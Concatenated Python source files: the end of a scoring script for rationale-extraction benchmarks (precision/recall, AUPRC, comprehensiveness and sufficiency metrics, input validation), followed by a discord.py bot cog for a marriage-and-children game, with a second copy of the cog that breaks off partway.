macro_f1 = sum(instance['f1'] for instance in instances_to_scores.values()) / len(instances_to_scores)
scores['instance_macro'] = {
'p': macro_prec,
'r': macro_rec,
'f1': macro_f1,
}
return scores
def _auprc(truth: Dict[Any, List[bool]], preds: Dict[Any, List[float]]) -> float:
if len(preds) == 0:
return 0.0
assert len(truth.keys() and preds.keys()) == len(truth.keys())
aucs = []
for k, true in truth.items():
pred = preds[k]
true = [int(t) for t in true]
precision, recall, _ = precision_recall_curve(true, pred)
aucs.append(auc(recall, precision))
return np.average(aucs)
def _score_aggregator(truth: Dict[Any, List[bool]], preds: Dict[Any, List[float]], score_function: Callable[[List[float], List[float]], float ], discard_single_class_answers: bool) -> float:
if len(preds) == 0:
return 0.0
assert len(truth.keys() and preds.keys()) == len(truth.keys())
scores = []
for k, true in truth.items():
pred = preds[k]
if (all(true) or all(not x for x in true)) and discard_single_class_answers:
continue
true = [int(t) for t in true]
scores.append(score_function(true, pred))
return np.average(scores)
def score_soft_tokens(paired_scores: List[PositionScoredDocument]) -> Dict[str, float]:
truth = {(ps.ann_id, ps.docid): ps.truths for ps in paired_scores}
pred = {(ps.ann_id, ps.docid): ps.scores for ps in paired_scores}
auprc_score = _auprc(truth, pred)
ap = _score_aggregator(truth, pred, average_precision_score, True)
roc_auc = _score_aggregator(truth, pred, roc_auc_score, True)
return {
'auprc': auprc_score,
'average_precision': ap,
'roc_auc_score': roc_auc,
}
def _instances_aopc(instances: List[dict], thresholds: List[float], key: str) -> Tuple[float, List[float]]:
dataset_scores = []
for inst in instances:
kls = inst['classification']
beta_0 = inst['classification_scores'][kls]
instance_scores = []
for score in filter(lambda x : x['threshold'] in thresholds, sorted(inst['thresholded_scores'], key=lambda x: x['threshold'])):
beta_k = score[key][kls]
delta = beta_0 - beta_k
instance_scores.append(delta)
assert len(instance_scores) == len(thresholds)
dataset_scores.append(instance_scores)
dataset_scores = np.array(dataset_scores)
# a careful reading of Samek, et al. "Evaluating the Visualization of What a Deep Neural Network Has Learned"
# and some algebra will show the reader that we can average in any of several ways and get the same result:
# over a flattened array, within an instance and then between instances, or over instances (by position) an
# then across them.
final_score = np.average(dataset_scores)
position_scores = np.average(dataset_scores, axis=0).tolist()
return final_score, position_scores
def compute_aopc_scores(instances: List[dict], aopc_thresholds: List[float]):
if aopc_thresholds is None :
aopc_thresholds = sorted(set(chain.from_iterable([x['threshold'] for x in y['thresholded_scores']] for y in instances)))
aopc_comprehensiveness_score, aopc_comprehensiveness_points = _instances_aopc(instances, aopc_thresholds, 'comprehensiveness_classification_scores')
aopc_sufficiency_score, aopc_sufficiency_points = _instances_aopc(instances, aopc_thresholds, 'sufficiency_classification_scores')
return aopc_thresholds, aopc_comprehensiveness_score, aopc_comprehensiveness_points, aopc_sufficiency_score, aopc_sufficiency_points
def score_classifications(instances: List[dict], annotations: List[Annotation], docs: Dict[str, List[str]], aopc_thresholds: List[float]) -> Dict[str, float]:
def compute_kl(cls_scores_, faith_scores_):
keys = list(cls_scores_.keys())
cls_scores_ = [cls_scores_[k] for k in keys]
faith_scores_ = [faith_scores_[k] for k in keys]
return entropy(faith_scores_, cls_scores_)
labels = list(set(x.classification for x in annotations))
labels +=['normal']
label_to_int = {l:i for i,l in enumerate(labels)}
key_to_instances = {inst['annotation_id']:inst for inst in instances}
truth = []
predicted = []
for ann in annotations:
truth.append(label_to_int[ann.classification])
inst = key_to_instances[ann.annotation_id]
predicted.append(label_to_int[inst['classification']])
classification_scores = classification_report(truth, predicted, output_dict=True, target_names=labels, digits=3)
accuracy = accuracy_score(truth, predicted)
if 'comprehensiveness_classification_scores' in instances[0]:
comprehensiveness_scores = [x['classification_scores'][x['classification']] - x['comprehensiveness_classification_scores'][x['classification']] for x in instances]
comprehensiveness_score = np.average(comprehensiveness_scores)
else :
comprehensiveness_score = None
comprehensiveness_scores = None
if 'sufficiency_classification_scores' in instances[0]:
sufficiency_scores = [x['classification_scores'][x['classification']] - x['sufficiency_classification_scores'][x['classification']] for x in instances]
sufficiency_score = np.average(sufficiency_scores)
else :
sufficiency_score = None
sufficiency_scores = None
if 'comprehensiveness_classification_scores' in instances[0]:
comprehensiveness_entropies = [entropy(list(x['classification_scores'].values())) - entropy(list(x['comprehensiveness_classification_scores'].values())) for x in instances]
comprehensiveness_entropy = np.average(comprehensiveness_entropies)
comprehensiveness_kl = np.average(list(compute_kl(x['classification_scores'], x['comprehensiveness_classification_scores']) for x in instances))
else:
comprehensiveness_entropies = None
comprehensiveness_kl = None
comprehensiveness_entropy = None
if 'sufficiency_classification_scores' in instances[0]:
sufficiency_entropies = [entropy(list(x['classification_scores'].values())) - entropy(list(x['sufficiency_classification_scores'].values())) for x in instances]
sufficiency_entropy = np.average(sufficiency_entropies)
sufficiency_kl = np.average(list(compute_kl(x['classification_scores'], x['sufficiency_classification_scores']) for x in instances))
else:
sufficiency_entropies = None
sufficiency_kl = None
sufficiency_entropy = None
if 'thresholded_scores' in instances[0]:
aopc_thresholds, aopc_comprehensiveness_score, aopc_comprehensiveness_points, aopc_sufficiency_score, aopc_sufficiency_points = compute_aopc_scores(instances, aopc_thresholds)
else:
aopc_thresholds, aopc_comprehensiveness_score, aopc_comprehensiveness_points, aopc_sufficiency_score, aopc_sufficiency_points = None, None, None, None, None
if 'tokens_to_flip' in instances[0]:
token_percentages = []
for ann in annotations:
# in practice, this is of size 1 for everything except e-snli
docids = set(ev.docid for ev in chain.from_iterable(ann.evidences))
inst = key_to_instances[ann.annotation_id]
tokens = inst['tokens_to_flip']
doc_lengths = sum(len(docs[d]) for d in docids)
token_percentages.append(tokens / doc_lengths)
token_percentages = np.average(token_percentages)
else:
token_percentages = None
return {
'accuracy': accuracy,
'prf': classification_scores,
'comprehensiveness': comprehensiveness_score,
'sufficiency': sufficiency_score,
'comprehensiveness_entropy': comprehensiveness_entropy,
'comprehensiveness_kl': comprehensiveness_kl,
'sufficiency_entropy': sufficiency_entropy,
'sufficiency_kl': sufficiency_kl,
'aopc_thresholds': aopc_thresholds,
'comprehensiveness_aopc': aopc_comprehensiveness_score,
'comprehensiveness_aopc_points': aopc_comprehensiveness_points,
'sufficiency_aopc': aopc_sufficiency_score,
'sufficiency_aopc_points': aopc_sufficiency_points,
}
def verify_instance(instance: dict, docs: Dict[str, list], thresholds: Set[float]):
error = False
docids = []
# verify the internal structure of these instances is correct:
# * hard predictions are present
# * start and end tokens are valid
# * soft rationale predictions, if present, must have the same document length
for rat in instance['rationales']:
docid = rat['docid']
if docid not in docid:
error = True
logging.info(f'Error! For instance annotation={instance["annotation_id"]}, docid={docid} could not be found as a preprocessed document! Gave up on additional processing.')
continue
doc_length = len(docs[docid])
for h1 in rat.get('hard_rationale_predictions', []):
# verify that each token is valid
# verify that no annotations overlap
for h2 in rat.get('hard_rationale_predictions', []):
if h1 == h2:
continue
if len(set(range(h1['start_token'], h1['end_token'])) & set(range(h2['start_token'], h2['end_token']))) > 0:
logging.info(f'Error! For instance annotation={instance["annotation_id"]}, docid={docid} {h1} and {h2} overlap!')
error = True
if h1['start_token'] > doc_length:
logging.info(f'Error! For instance annotation={instance["annotation_id"]}, docid={docid} received an impossible tokenspan: {h1} for a document of length {doc_length}')
error = True
if h1['end_token'] > doc_length:
logging.info(f'Error! For instance annotation={instance["annotation_id"]}, docid={docid} received an impossible tokenspan: {h1} for a document of length {doc_length}')
error = True
# length check for soft rationale
# note that either flattened_documents or sentence-broken documents must be passed in depending on result
soft_rationale_predictions = rat.get('soft_rationale_predictions', [])
if len(soft_rationale_predictions) > 0 and len(soft_rationale_predictions) != doc_length:
logging.info(f'Error! For instance annotation={instance["annotation_id"]}, docid={docid} expected classifications for {doc_length} tokens but have them for {len(soft_rationale_predictions)} tokens instead!')
error = True
# count that one appears per-document
docids = Counter(docids)
for docid, count in docids.items():
if count > 1:
error = True
logging.info('Error! For instance annotation={instance["annotation_id"]}, docid={docid} appear {count} times, may only appear once!')
classification = instance.get('classification', '')
if not isinstance(classification, str):
logging.info(f'Error! For instance annotation={instance["annotation_id"]}, classification field {classification} is not a string!')
error = True
classification_scores = instance.get('classification_scores', dict())
if not isinstance(classification_scores, dict):
logging.info(f'Error! For instance annotation={instance["annotation_id"]}, classification_scores field {classification_scores} is not a dict!')
error = True
comprehensiveness_classification_scores = instance.get('comprehensiveness_classification_scores', dict())
if not isinstance(comprehensiveness_classification_scores, dict):
logging.info(f'Error! For instance annotation={instance["annotation_id"]}, comprehensiveness_classification_scores field {comprehensiveness_classification_scores} is not a dict!')
error = True
sufficiency_classification_scores = instance.get('sufficiency_classification_scores', dict())
if not isinstance(sufficiency_classification_scores, dict):
logging.info(f'Error! For instance annotation={instance["annotation_id"]}, sufficiency_classification_scores field {sufficiency_classification_scores} is not a dict!')
error = True
if ('classification' in instance) != ('classification_scores' in instance):
logging.info(f'Error! For instance annotation={instance["annotation_id"]}, when providing a classification, you must also provide classification scores!')
error = True
if ('comprehensiveness_classification_scores' in instance) and not ('classification' in instance):
logging.info(f'Error! For instance annotation={instance["annotation_id"]}, when providing a classification, you must also provide a comprehensiveness_classification_score')
error = True
if ('sufficiency_classification_scores' in instance) and not ('classification_scores' in instance):
logging.info(f'Error! For instance annotation={instance["annotation_id"]}, when providing a sufficiency_classification_score, you must also provide a classification score!')
error = True
if 'thresholded_scores' in instance:
instance_thresholds = set(x['threshold'] for x in instance['thresholded_scores'])
if instance_thresholds != thresholds:
error = True
logging.info('Error: {instance["thresholded_scores"]} has thresholds that differ from previous thresholds: {thresholds}')
if 'comprehensiveness_classification_scores' not in instance\
or 'sufficiency_classification_scores' not in instance\
or 'classification' not in instance\
or 'classification_scores' not in instance:
error = True
logging.info('Error: {instance} must have comprehensiveness_classification_scores, sufficiency_classification_scores, classification, and classification_scores defined when including thresholded scores')
if not all('sufficiency_classification_scores' in x for x in instance['thresholded_scores']):
error = True
logging.info('Error: {instance} must have sufficiency_classification_scores for every threshold')
if not all('comprehensiveness_classification_scores' in x for x in instance['thresholded_scores']):
error = True
logging.info('Error: {instance} must have comprehensiveness_classification_scores for every threshold')
return error
def verify_instances(instances: List[dict], docs: Dict[str, list]):
annotation_ids = list(x['annotation_id'] for x in instances)
key_counter = Counter(annotation_ids)
multi_occurrence_annotation_ids = list(filter(lambda kv: kv[1] > 1, key_counter.items()))
error = False
if len(multi_occurrence_annotation_ids) > 0:
error = True
logging.info(f'Error in instances: {len(multi_occurrence_annotation_ids)} appear multiple times in the annotations file: {multi_occurrence_annotation_ids}')
failed_validation = set()
instances_with_classification = list()
instances_with_soft_rationale_predictions = list()
instances_with_soft_sentence_predictions = list()
instances_with_comprehensiveness_classifications = list()
instances_with_sufficiency_classifications = list()
instances_with_thresholded_scores = list()
if 'thresholded_scores' in instances[0]:
thresholds = set(x['threshold'] for x in instances[0]['thresholded_scores'])
else:
thresholds = None
for instance in instances:
instance_error = verify_instance(instance, docs, thresholds)
if instance_error:
error = True
failed_validation.add(instance['annotation_id'])
if instance.get('classification', None) != None:
instances_with_classification.append(instance)
if instance.get('comprehensiveness_classification_scores', None) != None:
instances_with_comprehensiveness_classifications.append(instance)
if instance.get('sufficiency_classification_scores', None) != None:
instances_with_sufficiency_classifications.append(instance)
has_soft_rationales = []
has_soft_sentences = []
for rat in instance['rationales']:
if rat.get('soft_rationale_predictions', None) != None:
has_soft_rationales.append(rat)
if rat.get('soft_sentence_predictions', None) != None:
has_soft_sentences.append(rat)
if len(has_soft_rationales) > 0:
instances_with_soft_rationale_predictions.append(instance)
if len(has_soft_rationales) != len(instance['rationales']):
error = True
logging.info(f'Error: instance {instance["annotation"]} has soft rationales for some but not all reported documents!')
if len(has_soft_sentences) > 0:
instances_with_soft_sentence_predictions.append(instance)
if len(has_soft_sentences) != len(instance['rationales']):
error = True
logging.info(f'Error: instance {instance["annotation"]} has soft sentences for some but not all reported documents!')
if 'thresholded_scores' in instance:
instances_with_thresholded_scores.append(instance)
logging.info(f'Error in instances: {len(failed_validation)} instances fail validation: {failed_validation}')
if len(instances_with_classification) != 0 and len(instances_with_classification) != len(instances):
logging.info(f'Either all {len(instances)} must have a classification or none may, instead {len(instances_with_classification)} do!')
error = True
if len(instances_with_soft_sentence_predictions) != 0 and len(instances_with_soft_sentence_predictions) != len(instances):
logging.info(f'Either all {len(instances)} must have a sentence prediction or none may, instead {len(instances_with_soft_sentence_predictions)} do!')
error = True
if len(instances_with_soft_rationale_predictions) != 0 and len(instances_with_soft_rationale_predictions) != len(instances):
logging.info(f'Either all {len(instances)} must have a soft rationale prediction or none may, instead {len(instances_with_soft_rationale_predictions)} do!')
error = True
if len(instances_with_comprehensiveness_classifications) != 0 and len(instances_with_comprehensiveness_classifications) != len(instances):
error = True
logging.info(f'Either all {len(instances)} must have a comprehensiveness classification or none may, instead {len(instances_with_comprehensiveness_classifications)} do!')
if len(instances_with_sufficiency_classifications) != 0 and len(instances_with_sufficiency_classifications) != len(instances):
error = True
logging.info(f'Either all {len(instances)} must have a sufficiency classification or none may, instead {len(instances_with_sufficiency_classifications)} do!')
if len(instances_with_thresholded_scores) != 0 and len(instances_with_thresholded_scores) != len(instances):
error = True
logging.info(f'Either all {len(instances)} must have thresholded scores or none may, instead {len(instances_with_thresholded_scores)} do!')
if error:
raise ValueError('Some instances are invalid, please fix your formatting and try again')
def _has_hard_predictions(results: List[dict]) -> bool:
# assumes that we have run "verification" over the inputs
return 'rationales' in results[0]\
and len(results[0]['rationales']) > 0\
and 'hard_rationale_predictions' in results[0]['rationales'][0]\
and results[0]['rationales'][0]['hard_rationale_predictions'] is not None\
and len(results[0]['rationales'][0]['hard_rationale_predictions']) > 0
def _has_soft_predictions(results: List[dict]) -> bool:
# assumes that we have run "verification" over the inputs
return 'rationales' in results[0] and len(results[0]['rationales']) > 0 and 'soft_rationale_predictions' in results[0]['rationales'][0] and results[0]['rationales'][0]['soft_rationale_predictions'] is not None
def _has_soft_sentence_predictions(results: List[dict]) -> bool:
# assumes that we have run "verification" over the inputs
return 'rationales' in results[0] and len(results[0]['rationales']) > 0 and 'soft_sentence_predictions' in results[0]['rationales'][0] and results[0]['rationales'][0]['soft_sentence_predictions'] is not None
def _has_classifications(results: List[dict]) -> bool:
# assumes that we have run "verification" over the inputs
return 'classification' in results[0] and results[0]['classification'] is not None
def main():
parser = argparse.ArgumentParser(description="""Computes rationale and final class classification scores""", formatter_class=argparse.RawTextHelpFormatter)
parser.add_argument('--data_dir', dest='data_dir', required=True, help='Which directory contains a {train,val,test}.jsonl file?')
parser.add_argument('--split', dest='split', required=True, help='Which of {train,val,test} are we scoring on?')
parser.add_argument('--strict', dest='strict', required=False, action='store_true', default=False, help='Do we perform strict scoring?')
parser.add_argument('--results', dest='results', required=True, help="""Results File
Contents are expected to be jsonl of:
{
"annotation_id": str, required
# these classifications *must not* overlap
"rationales": List[
{
"docid": str, required
"hard_rationale_predictions": List[{
"start_token": int, inclusive, required
"end_token": int, exclusive, required
}], optional,
# token level classifications, a value must be provided per-token
# in an ideal world, these correspond to the hard-decoding above.
"soft_rationale_predictions": List[float], optional.
# sentence level classifications, a value must be provided for every
# sentence in each document, or not at all
"soft_sentence_predictions": List[float], optional.
}
],
# the classification the model made for the overall classification task
"classification": str, optional
# A probability distribution output by the model. We require this to be normalized.
"classification_scores": Dict[str, float], optional
# The next two fields are measures for how faithful your model is (the
# rationales it predicts are in some sense causal of the prediction), and
# how sufficient they are. We approximate a measure for comprehensiveness by
# asking that you remove the top k%% of tokens from your documents,
# running your models again, and reporting the score distribution in the
# "comprehensiveness_classification_scores" field.
# We approximate a measure of sufficiency by asking exactly the converse
# - that you provide model distributions on the removed k%% tokens.
# 'k' is determined by human rationales, and is documented in our paper.
# You should determine which of these tokens to remove based on some kind
# of information about your model: gradient based, attention based, other
# interpretability measures, etc.
# scores per class having removed k%% of the data, where k is determined by human comprehensive rationales
"comprehensiveness_classification_scores": Dict[str, float], optional
# scores per class having access to only k%% of the data, where k is determined by human comprehensive rationales
"sufficiency_classification_scores": Dict[str, float], optional
# the number of tokens required to flip the prediction - see "Is Attention Interpretable" by Serrano and Smith.
"tokens_to_flip": int, optional
"thresholded_scores": List[{
"threshold": float, required,
"comprehensiveness_classification_scores": like "classification_scores"
"sufficiency_classification_scores": like "classification_scores"
}], optional. if present, then "classification" and "classification_scores" must be present
}
When providing one of the optional fields, it must be provided for *every* instance.
The classification, classification_score, and comprehensiveness_classification_scores
must together be present for every instance or absent for every instance.
""")
parser.add_argument('--iou_thresholds', dest='iou_thresholds', required=False, nargs='+', type=float, default=[0.5], help='''Thresholds for IOU scoring.
These are used for "soft" or partial match scoring of rationale spans.
A span is considered a match if the size of the intersection of the prediction
and the annotation, divided by the union of the two spans, is larger than
the IOU threshold. This score can be computed for arbitrary thresholds.
''')
parser.add_argument('--score_file', dest='score_file', required=False, default=None, help='Where to write results?')
parser.add_argument('--aopc_thresholds', nargs='+', required=False, type=float, default=[0.01, 0.05, 0.1, 0.2, 0.5], help='Thresholds for AOPC Thresholds')
args = parser.parse_args()
results = load_jsonl(args.results)
docids = set(chain.from_iterable([rat['docid'] for rat in res['rationales']] for res in results))
docs = load_flattened_documents(args.data_dir, docids)
verify_instances(results, docs)
# load truth
annotations = annotations_from_jsonl(os.path.join(args.data_dir, args.split + '.jsonl'))
docids |= set(chain.from_iterable((ev.docid for ev in chain.from_iterable(ann.evidences)) for ann in annotations))
has_final_predictions = _has_classifications(results)
scores = dict()
if args.strict:
if not args.iou_thresholds:
raise ValueError("--iou_thresholds must be provided when running strict scoring")
if not has_final_predictions:
raise ValueError("We must have a 'classification', 'classification_score', and 'comprehensiveness_classification_score' field in order to perform scoring!")
# TODO think about offering a sentence level version of these scores.
if _has_hard_predictions(results):
truth = list(chain.from_iterable(Rationale.from_annotation(ann) for ann in annotations))
pred = list(chain.from_iterable(Rationale.from_instance(inst) for inst in results))
if args.iou_thresholds is not None:
iou_scores = partial_match_score(truth, pred, args.iou_thresholds)
scores['iou_scores'] = iou_scores
# NER style scoring
rationale_level_prf = score_hard_rationale_predictions(truth, pred)
scores['rationale_prf'] = rationale_level_prf
token_level_truth = list(chain.from_iterable(rat.to_token_level() for rat in truth))
token_level_pred = list(chain.from_iterable(rat.to_token_level() for rat in pred))
token_level_prf = score_hard_rationale_predictions(token_level_truth, token_level_pred)
scores['token_prf'] = token_level_prf
else:
logging.info("No hard predictions detected, skipping rationale scoring")
if _has_soft_predictions(results):
flattened_documents = load_flattened_documents(args.data_dir, docids)
paired_scoring = PositionScoredDocument.from_results(results, annotations, flattened_documents, use_tokens=True)
token_scores = score_soft_tokens(paired_scoring)
scores['token_soft_metrics'] = token_scores
else:
logging.info("No soft predictions detected, skipping rationale scoring")
if _has_soft_sentence_predictions(results):
documents = load_documents(args.data_dir, docids)
paired_scoring = PositionScoredDocument.from_results(results, annotations, documents, use_tokens=False)
sentence_scores = score_soft_tokens(paired_scoring)
scores['sentence_soft_metrics'] = sentence_scores
else:
logging.info("No sentence level predictions detected, skipping sentence-level diagnostic")
if has_final_predictions:
flattened_documents = load_flattened_documents(args.data_dir, docids)
class_results = score_classifications(results, annotations, flattened_documents, args.aopc_thresholds)
scores['classification_scores'] = class_results
else:
logging.info("No classification scores detected, skipping classification")
pprint.pprint(scores)
if args.score_file:
with open(args.score_file, 'w') as of:
json.dump(scores, of, indent=4, sort_keys=True)
if __name__ == '__main__':
main()
|
import discord
from discord.ext import commands
from discord.ext.commands import cooldown
from discord.ext.commands.cooldowns import BucketType
import time
import asyncio
import asyncpg
from datetime import datetime, timezone, timedelta
from utils import errorhandler
from random import randint, choice
heartt = "<:heartt:521071307769774080>"
broken_heartt = "<:brokenheartt:521074570707468308>"
caution = "<:caution:521002590566219776>"
class marriage(commands.Cog):
def __init__(self, bot):
self.bot = bot
async def cog_check(self, ctx):
if await self.bot.pool.fetchrow(
"SELECT user_id FROM user_settings WHERE user_id = $1", ctx.author.id
):
return True
raise (errorhandler.hasUwU(ctx))
@commands.command(descritpion="Marry your lover.", brief="Marry someone")
async def marry(self, ctx, lover: discord.Member = None):
async with self.bot.pool.acquire() as conn:
if lover is None or lover is ctx.author:
return await ctx.send("Trying to marry yourself...", delete_after=30)
if (
await conn.fetchrow(
"SELECT user_id FROM user_settings WHERE user_id = $1", lover.id
)
is None
):
return await ctx.send(
f"{lover.name} does not have an uwulonian.", delete_after=30
)
if await conn.fetchrow(
"SELECT user1_id, user2_id FROM marriages WHERE user1_id = $1 OR user2_id = $1 OR user1_id = $2 OR user2_id = $2",
ctx.author.id,
lover.id,
):
return await ctx.send(
"Either you or the person you are trying to marry is already married...",
delete_after=30,
)
msg = await ctx.send(
f"""{lover.name} would you like to marry {ctx.author.name}. Reply "I do" to marry. Reply "No" to decline the marriage. This will timeout after 30 seconds."""
)
def check(amsg):
return amsg.author == lover
try:
choice = await self.bot.wait_for("message", timeout=30, check=check)
except asyncio.TimeoutError:
return await msg.edit(
content=f"{lover.name} does not want to marry you."
)
if choice.content.lower() == "i do":
await conn.execute(
"INSERT INTO marriages (user1_id,user2_id) VALUES ($1,$2)",
ctx.author.id,
lover.id,
)
await msg.delete()
return await ctx.send(
f"{lover.mention} has accepted {ctx.author.mention}'s proposal {heartt}"
)
if choice.content.lower() == "no":
await msg.delete()
return await ctx.send(
f"{ctx.author.mention} your lover ({lover.mention}) declined your marriage! There's a million fish in the sea though."
)
else:
await msg.edit(
content="Invalid choice. Did you type it properly?", delete_after=30
)
@commands.command(description="Divorce...", brief="Divorce")
async def divorce(self, ctx):
async with self.bot.pool.acquire() as conn:
if (
await conn.fetchrow(
"SELECT user1_id, user2_id FROM marriages WHERE user1_id = $1 OR user2_id = $1",
ctx.author.id,
)
is None
):
return await ctx.send(
"You can't divorce someone you're not married to.", delete_after=30
)
await self.bot.pool.execute(
"DELETE FROM marriages WHERE user1_id = $1 OR user2_id = $1",
ctx.author.id,
)
await self.bot.pool.execute(
"DELETE FROM children WHERE lover1_id = $1 OR lover2_id = $1",
ctx.author.id,
)
await ctx.send(broken_heartt)
@commands.command(
description="Check who you are married to", brief="Check who you married"
)
async def marriage(self, ctx):
married = await self.bot.pool.fetchrow(
"SELECT user1_id, user2_id, time_married FROM marriages WHERE user1_id = $1 OR user2_id = $1",
ctx.author.id,
)
if married is None:
return await ctx.caution("You are not married.")
if married["user1_id"] == ctx.author.id:
user = self.bot.get_user(married["user2_id"])
else:
user = self.bot.get_user(married["user1_id"])
marriage_time = datetime.now(timezone.utc) - married["time_married"]
await ctx.send(
f"""You have been married to {user.name} since {married["time_married"].strftime("%X at %x")} ({marriage_time.days}d)."""
)
@commands.command(
descritpion="Breed with your lover",
aliases=["sex", "fuck", "<---_that_is_so_funny_hahahahhahahaha"],
brief="Breed",
)
async def breed(self, ctx):
async with self.bot.pool.acquire() as conn:
children = await conn.fetchval(
"SELECT COUNT(*) FROM children WHERE lover1_id = $1 OR lover2_id = $1",
ctx.author.id,
)
marriage = await conn.fetchrow(
"SELECT user1_id, user2_id FROM marriages WHERE user1_id = $1 OR user2_id = $1",
ctx.author.id,
)
if marriage is None:
return await ctx.caution("You aren't married")
if children >= 5:
return await ctx.caution(
"You already have 5 children. Are you crazy wanting more?"
)
if marriage["user1_id"] == ctx.author.id:
user = self.bot.get_user(marriage["user2_id"])
else:
user = self.bot.get_user(marriage["user1_id"])
asking = await ctx.send(
f"""{ctx.author.name} would like to breed with {user.name}. {user.name} reply with "I do" for yes and "No" for no."""
)
await self.bot.redis.execute(
"SET",
f"{ctx.author.id}-{ctx.command.qualified_name}",
"cooldown",
"EX",
3600,
)
def check(amsg):
return amsg.author.id == user.id
try:
breed_choice = await self.bot.wait_for(
"message", timeout=30, check=check
)
except asyncio.TimeoutError:
await asking.delete()
await self.bot.redis.execute(
"DEL", f"{ctx.author.id}-{ctx.command.qualified_name}"
)
return await ctx.send(
f"{user.name} does not want to make a child with you."
)
if breed_choice.content.lower() == "i do":
if randint(1, 2) == 1:
await asking.delete()
await ctx.send("You didn't successfully make a child.")
else:
gender = choice(["male", "female"])
if gender == "male":
await asking.delete()
congrats = await ctx.send(
"Your efforts were successful! He's a male! Please enter the babies name."
)
else:
await asking.delete()
congrats = await ctx.send(
"Your efforts were successful! She's a female! Please enter the babies name."
)
def check(amsg):
return (
amsg.author.id == ctx.author.id or amsg.author.id == user.id
)
try:
baby_name = await self.bot.wait_for(
"message", timeout=30, check=check
)
except asyncio.TimeoutError:
await asking.delete()
await self.bot.redis.execute(
"DEL", f"{ctx.author.id}-{ctx.command.qualified_name}"
)
return await ctx.send(
f"No name was provided in time.", delete_after=30
)
if len(baby_name.content) < 3 or len(baby_name.content) > 50:
await self.bot.redis.execute(
"DEL", f"{ctx.author.id}-{ctx.command.qualified_name}"
)
return await ctx.caution(
"The name must be more then 3 chars long and can't be longer then 50 chars."
)
await self.bot.pool.execute(
"INSERT INTO children (lover1_id, lover2_id, child_name, age, gender) VALUES ($1, $2, $3, $4, $5)",
ctx.author.id,
user.id,
baby_name.content,
0,
gender,
)
await congrats.delete()
await ctx.send(
f"Great name! Good luck with your newborn {baby_name.content}.".replace(
"@", "@\u200b"
)
)
if breed_choice.content.lower() == "no":
await asking.delete()
await self.bot.redis.execute(
"DEL", f"{ctx.author.id}-{ctx.command.qualified_name}"
)
return await ctx.send(f"{user.name} does not want to have a child.")
await asking.delete()
await self.bot.redis.execute(
"DEL", f"{ctx.author.id}-{ctx.command.qualified_name}"
)
await ctx.caution("Invalid choice. Did you type it properly?")
@commands.command(description="Check your family")
async def family(self, ctx):
async with self.bot.pool.acquire() as conn:
children = await conn.fetch(
"SELECT * FROM children WHERE lover1_id = $1 OR lover2_id = $1",
ctx.author.id,
)
marriage = await conn.fetchrow(
"SELECT user1_id, user2_id, time_married FROM marriages WHERE user1_id = $1 OR user2_id = $1",
ctx.author.id,
)
if marriage is None:
return await ctx.caution("You aren't married")
if marriage["user1_id"] == ctx.author.id:
user = self.bot.get_user(marriage["user2_id"])
else:
user = self.bot.get_user(marriage["user1_id"])
marriage_time = datetime.now(timezone.utc) - marriage["time_married"]
e = discord.Embed(colour=0x7289DA)
e.set_author(name=f"{user.name} is married to {ctx.author.name}")
e.set_footer(
text=f"Married {marriage["time_married"].strftime("%x on %X")} ({marriage_time.days}d)"
)
num = 0
for i in children:
e.add_field(
name=children[num]["child_name"],
value=f"Gender {children[num]["gender"]}; Age {children[num]["age"]}; Born {children[num]["birthdate"].strftime("%x on %X")}",
)
num += 1
if num == 0:
e.add_field(
name="No children",
value=f"{user.name} and {ctx.author.name} have no children.",
)
await ctx.send(embed=e)
@commands.command(description="Bday!", aliases=["bd", "bday"], hidden=True)
async def birthday(self, ctx):
async with self.bot.pool.acquire() as conn:
children = await conn.fetchrow(
"SELECT child_name, age, gender, last_bd FROM children WHERE lover1_id = $1 OR lover2_id = $1 ORDER BY RANDOM() LIMIT 1",
ctx.author.id,
)
if children is None:
return await ctx.caution("You have no children.")
user_cooldown = await ctx.bot.redis.pttl(
f"{ctx.author.id}-{ctx.command.qualified_name}-{children["child_name"]}"
)
if user_cooldown == -2:
marriage = await conn.fetchrow(
"SELECT user1_id, user2_id, time_married FROM marriages WHERE user1_id = $1 OR user2_id = $1",
ctx.author.id,
)
if marriage is None:
return await ctx.caution("You aren't married.")
await self.bot.redis.execute(
"SET",
f"{ctx.author.id}-{ctx.command.qualified_name}-{children["child_name"]}",
"cooldown",
"EX",
2_630_000,
)
gender = "He"
if children["gender"] == "female":
gender = "She"
pre_enjy_msg = await ctx.send(
f"It's {children["child_name"]}'s birthday! {gender} will be turning {children["age"] + 1}"
)
enjoyment_lvl = [
f"{children["child_name"]} loved the birthday party!",
f"{children["child_name"]} didn't enjoy the party.",
f"{children["child_name"]} thinks that was the best party ever!",
f"{ctx.author.name} loves uwu",
]
await asyncio.sleep(4)
enjy = choice(enjoyment_lvl)
await pre_enjy_msg.delete()
time = timedelta(seconds=2_630_000) + datetime.utcnow()
await conn.execute(
"UPDATE children SET age = children.age + 1, last_bd = $1 WHERE child_name = $2",
time,
children["child_name"],
)
await ctx.send(enjy)
else:
base_time = user_cooldown
seconds = round(base_time, 2)
hours, remainder = divmod(int(seconds), 3600)
minutes, seconds = divmod(remainder, 60)
await ctx.caution(
f"{children["child_name"]} already had there birthday within the last month"
)
def setup(bot):
bot.add_cog(marriage(bot))
| import discord
from discord.ext import commands
from discord.ext.commands import cooldown
from discord.ext.commands.cooldowns import BucketType
import time
import asyncio
import asyncpg
from datetime import datetime, timezone, timedelta
from utils import errorhandler
from random import randint, choice
heartt = "<:heartt:521071307769774080>"
broken_heartt = "<:brokenheartt:521074570707468308>"
caution = "<:caution:521002590566219776>"
class marriage(commands.Cog):
def __init__(self, bot):
self.bot = bot
async def cog_check(self, ctx):
if await self.bot.pool.fetchrow(
"SELECT user_id FROM user_settings WHERE user_id = $1", ctx.author.id
):
return True
raise (errorhandler.hasUwU(ctx))
@commands.command(descritpion="Marry your lover.", brief="Marry someone")
async def marry(self, ctx, lover: discord.Member = None):
async with self.bot.pool.acquire() as conn:
if lover is None or lover is ctx.author:
return await ctx.send("Trying to marry yourself...", delete_after=30)
if (
await conn.fetchrow(
"SELECT user_id FROM user_settings WHERE user_id = $1", lover.id
)
is None
):
return await ctx.send(
f"{lover.name} does not have an uwulonian.", delete_after=30
)
if await conn.fetchrow(
"SELECT user1_id, user2_id FROM marriages WHERE user1_id = $1 OR user2_id = $1 OR user1_id = $2 OR user2_id = $2",
ctx.author.id,
lover.id,
):
return await ctx.send(
"Either you or the person you are trying to marry is already married...",
delete_after=30,
)
msg = await ctx.send(
f"""{lover.name} would you like to marry {ctx.author.name}. Reply "I do" to marry. Reply "No" to decline the marriage. This will timeout after 30 seconds."""
)
def check(amsg):
return amsg.author == lover
try:
